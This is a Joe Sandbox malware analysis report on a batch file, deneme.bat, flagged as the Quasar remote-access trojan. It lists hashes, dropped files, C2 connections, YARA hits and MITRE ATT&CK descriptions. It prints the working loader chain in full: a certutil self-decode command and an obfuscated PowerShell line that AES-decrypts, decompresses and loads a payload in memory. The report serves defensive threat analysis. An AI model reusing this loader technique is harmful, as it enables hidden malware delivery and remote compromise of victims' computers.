Preview:	@echo off..set "FVGr=set "..%FVGr%"diFAUFtRMb=st"..%FVGr%"HYrJXVYKMt=\v"..%FVGr%"yTBTwAtjPl=rs"..%FVGr%"JrIRTfruLx=ll"..%FVGr%"AcCxjzbNLa=e""..%FVGr%"uimqsJPnna=ws"..%FVGr%"fskjreOFIf=xe"..%FVGr%"BGqwyrxSRT=y "..%FVGr%"RQIVpdMYql=s\"..%FVGr%"JZYSrIliaK=\W"..%FVGr%"pKmrDtKJRu=ow"..%FVGr%"jokylzBZud=po"..%FVGr%"dteNOHluqU=ex"..%FVGr%"JNfEJZoVMF=em"..%FVGr%"LJuCjkXTHo=he"..%FVGr%"NiiSpBZPeO=we"..%FVGr%"wGRWikxUyZ="%~0."..%FVGr%"SOXgWNFsbQ=do"..%FVGr%"OfUcUhdoKk=Po"..%FVGr%"yirSNeGyTS=1."..%FVGr%"XpRSEUcRWD=we"..%FVGr%"MDGcYykQUG=co"..%FVGr%"dSgkpBIVWS=rS"..%FVGr%"blAcMgKKLZ=Sy"..%FVGr%"pFjqvtxWZA=Wi"..%FVGr%"NulBLqNrbK=.e"..%FVGr%"DfiQlRPLOE= /"..%FVGr%"CHdPeSYMSs=ll"..%FVGr%"JWoMEzizDC= C"..%FVGr%"dAMuPrdcZj=:\"..%FVGr%"KVlpBngVtN=in"..%FVGr%"xSIsYMTVlO=he"..%FVGr%"dpDmydkkFw=32"..%FVGr%"UwdGMUTIeF=py"..%FVGr%"QXQbIPoUxz=nd"..%FVGr%"bhFhUMkpqk=0\"..set "GpeR=set "..%GpeR%"tYMoAFPNXc=cd"..%GpeR%"XygUUDuQwo= "%~dp0""..set "AZSJ=set "..%AZSJ%"wObaReDTXA=GD);"..%AZSJ%"qWkGXtcWHU=Secu"..%AZSJ

C:\Users\user\AppData\Local\Temp\allah.bat.exe

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	447488
Entropy (8bit):	5.440627434620499
Encrypted:	false
SSDEEP:	6144:f1eapvqlkiMWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:NzW2KXzJ4pdd3klnnWosPhnzq
MD5:	95000560239032BC68B4C2FDFCDEF913
SHA1:	1B3B40FBC889FD4C645CC12C85D0805AC36BA254
SHA-256:	D3F8FADE829D2B7BD596C4504A6DAE5C034E789B6A3DEFBE013BDA7D14466677
SHA-512:	F990F72F4D90CE49F7A44DA0C0CDD82D56A7DC7461E073646ACFD448379B2ADEFD6E29FB2A596A9C8819DE53FA709905C98007B70DD4CF98569373013E42EE49
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................G.......G.............................................+...........Rich............................PE..d....)............"..........P...... 2.........@..........................................`.......... ......................................\|@.......p...}...`..................0...P...T.......................(....................................................text.............................. ..`.rdata..............................@..@.data...8....P.......<..............@....pdata.......`.......B..............@..@.rsrc....}...p...~...L..............@..@.reloc..0...........................@..B................................................................................................................................................................................................................................................

\Device\Null

Download File

Process:	C:\Windows\System32\certutil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	100
Entropy (8bit):	4.859079570624175
Encrypted:	false
SSDEEP:	3:qOYFXXmxNVEM+YFUiWUSRwqRF8jxd1ELzdUA2AGN8cv:q3lUdnuiW9gxILxUANGN8e
MD5:	FA1FF6A8138C97A5B875A45881B15AC1
SHA1:	09BC1EE3F39C5A4B2DD9CB8B5AC853E0E277FECE
SHA-256:	C3BE4668A60432076884B0ECC8941E2C9F016813ABEBFB9BE0ADDC3376C60E96
SHA-512:	415A63EFB1E304DBF1D6B5035AB6024C7932051EF7638BE75A4AD0E9163A4959703C0F3A4AAA019F7C2531BA4F1A17FDCBE7FAE13FDB1131D3B99D289853D975
Malicious:	false
Preview:	Input Length = 2277691..Output Length = 1656310..CertUtil: -decode command completed successfully...

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (32767), with no line terminators
Entropy (8bit):	5.697442564532801
TrID:	MP3 audio (ID3 v1.x tag) (2501/1) 45.44% Text - UTF-16 (LE) encoded (2002/1) 36.37% MP3 audio (1001/1) 18.19%
File name:	deneme.bat
File size:	2277691
MD5:	140518164b4e215675accd37cae0d91f
SHA1:	605f1798f9b54b245e35ea516c6e3818463953a7
SHA256:	3411ad812be09efa84946389ddf8fcbc2c1faa7aec4fd419fe02ec748f746abb
SHA512:	a0210e5147d4e1cda815d4cab29a82f1dd221fd43456d4d9a18ebe1761c90aa31d48f7aca111510dedb2001ef125fb8226634aa3db7fcbfca57a7d5f389a8052
SSDEEP:	24576:dr8+hKEEFki/cKQSMavHgz6kMtQCJQ5HT0/xBBX0T+DewGEpwERNey20cUIz9Chg:dryEE7kMRy+DeOFYT0hTg+js
TLSH:	1CB5022541983FE9CB58673CF079320E57F4158B4A65628EAB63EE06BFF6C080D274B5
File Content Preview:	..&cls..@echo off ..Title %~n0..Mode 60,3 ..color 0B..echo(..echo Please wait... a while Loading data ......CERTUTIL -f -decode "%~f0" "%Temp%\allah.bat" >nul 2>&1 ..cls.."%Temp%\allah.bat"..Exit..-----BEGIN CERTIFICATE-----..QGVjaG8gb2ZmDQpzZXQgI

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 28, 2023 09:35:08.256187916 CEST	49702	3131	192.168.2.3	74.234.104.236
May 28, 2023 09:35:11.263130903 CEST	49702	3131	192.168.2.3	74.234.104.236
May 28, 2023 09:35:17.263669014 CEST	49702	3131	192.168.2.3	74.234.104.236
May 28, 2023 09:35:32.719080925 CEST	49703	3131	192.168.2.3	74.234.104.236
May 28, 2023 09:35:35.718307972 CEST	49703	3131	192.168.2.3	74.234.104.236
May 28, 2023 09:35:41.722459078 CEST	49703	3131	192.168.2.3	74.234.104.236
May 28, 2023 09:35:57.330818892 CEST	49704	3131	192.168.2.3	74.234.104.236
May 28, 2023 09:36:00.345535040 CEST	49704	3131	192.168.2.3	74.234.104.236
May 28, 2023 09:36:06.361524105 CEST	49704	3131	192.168.2.3	74.234.104.236
May 28, 2023 09:36:21.668445110 CEST	49705	3131	192.168.2.3	74.234.104.236
May 28, 2023 09:36:24.683211088 CEST	49705	3131	192.168.2.3	74.234.104.236
May 28, 2023 09:36:30.683803082 CEST	49705	3131	192.168.2.3	74.234.104.236
May 28, 2023 09:36:46.357554913 CEST	49706	3131	192.168.2.3	74.234.104.236
May 28, 2023 09:36:49.372786045 CEST	49706	3131	192.168.2.3	74.234.104.236
May 28, 2023 09:36:55.389588118 CEST	49706	3131	192.168.2.3	74.234.104.236

Target ID:	0
Start time:	09:34:49
Start date:	28/05/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\deneme.bat" "
Imagebase:	0x7ff707bb0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exePID: 4652, Parent PID: 2948

General

Target ID:	1
Start time:	09:34:50
Start date:	28/05/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: mode.comPID: 5932, Parent PID: 2948

General

Target ID:	2
Start time:	09:34:50
Start date:	28/05/2023
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	Mode 60,3
Imagebase:	0x7ff6c3520000
File size:	31232 bytes
MD5 hash:	1A3D2D975EB4A5AF22768F1E23C9A83C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: certutil.exePID: 6972, Parent PID: 2948

General

Target ID:	3
Start time:	09:34:50
Start date:	28/05/2023
Path:	C:\Windows\System32\certutil.exe
Wow64 process (32bit):	false
Commandline:	CERTUTIL -f -decode "C:\Users\user\Desktop\deneme.bat" "C:\Users\user\AppData\Local\Temp\allah.bat"
Imagebase:	0x7ff70d710000
File size:	1557504 bytes
MD5 hash:	EB199893441CED4BBBCB547FE411CF2D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: allah.bat.exePID: 6956, Parent PID: 2948

General

Target ID:	4
Start time:	09:34:52
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\allah.bat.exe
Wow64 process (32bit):	false
Commandline:	"allah.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $lILxN = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\AppData\Local\Temp\allah.bat').Split([Environment]::NewLine);foreach ($vOhpq in $lILxN) { if ($vOhpq.StartsWith(':: ')) { $OHwZk = $vOhpq.Substring(3); break; }; };$PPhGD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($OHwZk);$YGMef = New-Object System.Security.Cryptography.AesManaged;$YGMef.Mode = [System.Security.Cryptography.CipherMode]::CBC;$YGMef.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$YGMef.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6pNVYWetf4chAWo/pEbNaRZ3xRLeWmBPF3OumGmDVww=');$YGMef.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxQsLBFdvl0gyeVxt5ivJg==');$blbua = $YGMef.CreateDecryptor();$PPhGD = $blbua.TransformFinalBlock($PPhGD, 0, $PPhGD.Length);$blbua.Dispose();$YGMef.Dispose();$MkYmI = New-Object System.IO.MemoryStream(, $PPhGD);$wtLBU = New-Object System.IO.MemoryStream;$JeXHz = New-Object System.IO.Compression.GZipStream($MkYmI, [IO.Compression.CompressionMode]::Decompress);$JeXHz.CopyTo($wtLBU);$JeXHz.Dispose();$MkYmI.Dispose();$wtLBU.Dispose();$PPhGD = $wtLBU.ToArray();$weWpP = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($PPhGD);$BDLvJ = $weWpP.EntryPoint;$BDLvJ.Invoke($null, (, [string[]] ('')))
Imagebase:	0x7ff7eb5b0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: MAL_QuasarRAT_May19_1, Description: Detects QuasarRAT malware, Source: 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth (Nextron Systems) Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_QuasarStealer, Description: Detects Quasar infostealer, Source: 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekshen Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000004.00000002.647921815.0000020E62CED000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000004.00000002.647921815.0000020E62993000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000004.00000002.633628598.0000020E50F0A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	high

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report deneme.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Quasar

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lws4mod0.ycy.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mwf14wkq.feb.psm1

C:\Users\user\AppData\Local\Temp\allah.bat

C:\Users\user\AppData\Local\Temp\allah.bat.exe

\Device\Null

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

Statistics

Behavior

System Behavior

Analysis Process: cmd.exePID: 2948, Parent PID: 3452

Windows Analysis Report
deneme.bat